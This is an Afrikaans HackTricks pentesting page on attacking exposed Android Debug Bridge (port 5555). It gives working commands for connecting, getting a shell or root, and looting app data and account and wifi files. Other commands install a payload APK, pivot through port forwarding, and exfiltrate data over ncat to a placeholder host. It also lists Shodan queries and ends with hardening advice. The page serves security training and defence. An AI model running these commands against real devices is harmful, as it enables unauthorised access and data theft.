5555 - Android Debug Bridge

Reading time: 7 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Van die dokumentasie:

Android Debug Bridge (adb) is 'n opdraglyn hulpmiddel om te kommunikeer met Android-gebaseerde toestelle en emulators. Tipiese aksies sluit in die installering van pakkette, debuggings, en die verkryging van 'n interaktiewe Unix-skaal op die toestel.

  • Historiese standaard TCP-poort: 5555 (klassieke "adb tcpip" modus).
  • Moderne Draadlose debugging (Android 11+) gebruik TLS-pairing en mDNS-diensontdekking. Die verbindingspoort is dinamies en word ontdek via mDNS; dit mag nie 5555 wees nie. Pairing word gedoen met adb pair host:port gevolg deur adb connect. Sien die notas hieronder vir offensiewe implikasies.

Voorbeeld nmap vingerafdruk:

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

Verbind

As jy ADB blootgestel en bereikbaar vind, probeer om vinnig te verbind en te tel:

bash
adb connect <ip>[:<port>]      # Default is 5555 for classic mode
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
adb shell                      # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
  • As die toestel ADB-outeurting afdwing (ro.adb.secure=1), sal jy vooraf geoutoriseer moet wees (USB RSA auth) of Android 11+ Draadlose foutopsporing paar (wat 'n eenmalige kode vereis wat op die toestel vertoon word).
  • Sommige verskafferbeelde, ingenieurs-/gebruikersdebug-bou, emulators, TV's, STB's en ontwikkelingskits stel adbd bloot sonder outeurting of met adbd wat as root loop. In daardie gevalle sal jy tipies direk in 'n shell of root shell beland.

Vir 'n algemene ADB-opdragverwysing, sien:

ADB Commands

Vinnige Post-Exploitasie

Sodra jy shell het, valideer voorregte en SELinux-konteks:

bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint

Lys en vang data

  • Lys derdeparty-apps en paaie:
bash
pm list packages -3
pm path <pkg>
  • As jy root het (adb root of su werk), kan jy direk toegang tot /data hê. Indien nie, verkies run-as vir debuggable apps:
bash
# Sonder root, vir 'n debuggable app
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>

# Met root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
  • Nuttige stelseldokumente (root benodig):
  • /data/system/users/0/accounts.db en verwante AccountManager data
  • /data/misc/wifi/ (netwerk konfigurasies/sleutels op ouer weergawes)
  • App-spesifieke SQLite DB's en shared_prefs onder /data/data/

Jy kan dit gebruik om sensitiewe inligting te verkry (bv. app geheime). Vir notas oor Chrome data oorwegings, sien die probleem waarna verwys word hier.

Kode-uitvoering en payload aflewering

  • Installeer en outomaties runtime toestemmings toeken:
bash
adb install -r -g payload.apk         # -g gee alle runtime perms soos verklaar in manifest
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
  • Begin aktiwiteite/dienste/uitsendings direk:
bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>

Poort forwarding en pivotering

Selfs sonder root, kan adb plaaslike poorte na toestelpoorte en omgekeerd forward. Dit is nuttig om toegang te verkry tot dienste wat plaaslik op die toestel gebind is of om aanvaller dienste aan die toestel bloot te stel.

  • Forward host->toestel (toegang tot 'n toestel-lokale diens vanaf jou gasheer):
bash
adb forward tcp:2222 tcp:22       # As toestel SSH loop (bv. Termux/Dropbear)
adb forward tcp:8081 tcp:8080     # Blootstel app se plaaslike debug bediener
  • Omgekeerde toestel->gasheer (laat die toestel 'n diens op jou gasheer bereik):
bash
adb reverse tcp:1080 tcp:1080     # Toestel apps kan nou gasheer:1080 as 127.0.0.1:1080 bereik
  • Lêer eksfiltrasie oor sokke (geen sdcard skrywe):
bash
# Op gasheer: luister
ncat -lvp 9000 > dump.tar
# Op toestel: stuur gids as tar (root of run-as soos toepaslik)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000

Draadlose Debugging (Android 11+)

Moderne Android implementeer TLS-beskermde draadlose debugging met toestel-kant paar en mDNS ontdekking:

bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>

Notas

  • Poorte is dinamies; moenie aanvaar 5555 nie. mDNS-diensname lyk soos:
  • _adb-tls-pairing._tcp (pareer)
  • _adb-tls-connect._tcp (gepareerde verbinding)
  • _adb._tcp (erf/plat)
  • As mDNS gefiltreer is, kan klassieke USB-geassisteerde aktivering steeds op sommige weergawes werk: adb tcpip 5555 dan adb connect <ip>:5555 (tot herlaai).

Aanvallende implikasies: as jy met die toestel se UI kan interaksie hê (bv. fisiese toegang of mobiele MDM-misconfigurasie) om Draadlose foutopsporing te aktiveer en die pareerkode te sien, kan jy 'n langlewe-gepareerde ADB-kanaal sonder 'n kabel tot stand bring. Sommige OEM's stel ADB oor TCP in ingenieurs-/ontwikkelingsbeelde beskikbaar sonder pareer—kontroleer altyd.

Versterking / Opsporing

Verdedigers moet aanvaar dat enige bereikbare adbd (TCP) 'n kritieke risiko is.

  • Deaktiveer ADB en Draadlose foutopsporing wanneer dit nie nodig is nie. Herroep USB-foutopsporing-outeuriserings in Ontwikkelaar opsies.
  • Verseker dat netwerkbeleid inkomende TCP/5555 en mDNS-gebaseerde ADB-ontdekking op onbetroubare segmente blokkeer.
  • Op toestelle onder jou beheer:
bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1   # deaktiveer TCP-luister (of gebruik: adb usb)
stop adbd; start adbd             # herbegin daemon
  • Monitor vir mDNS-rekords _adb._tcp, _adb-tls-connect._tcp, _adb-tls-pairing._tcp op korporatiewe netwerke en waarskuwings vir onverwagte 5555 luisteraars.
  • Inventariseer vir onveilige weergawes: getprop ro.debuggable, ro.build.type, en ro.adb.secure.

Shodan

  • android debug bridge
  • port:5555 product:"Android Debug Bridge"

Verwysings

  • Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
  • AOSP – ADB oor Wi‑Fi, pareer en mDNS-diensname: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks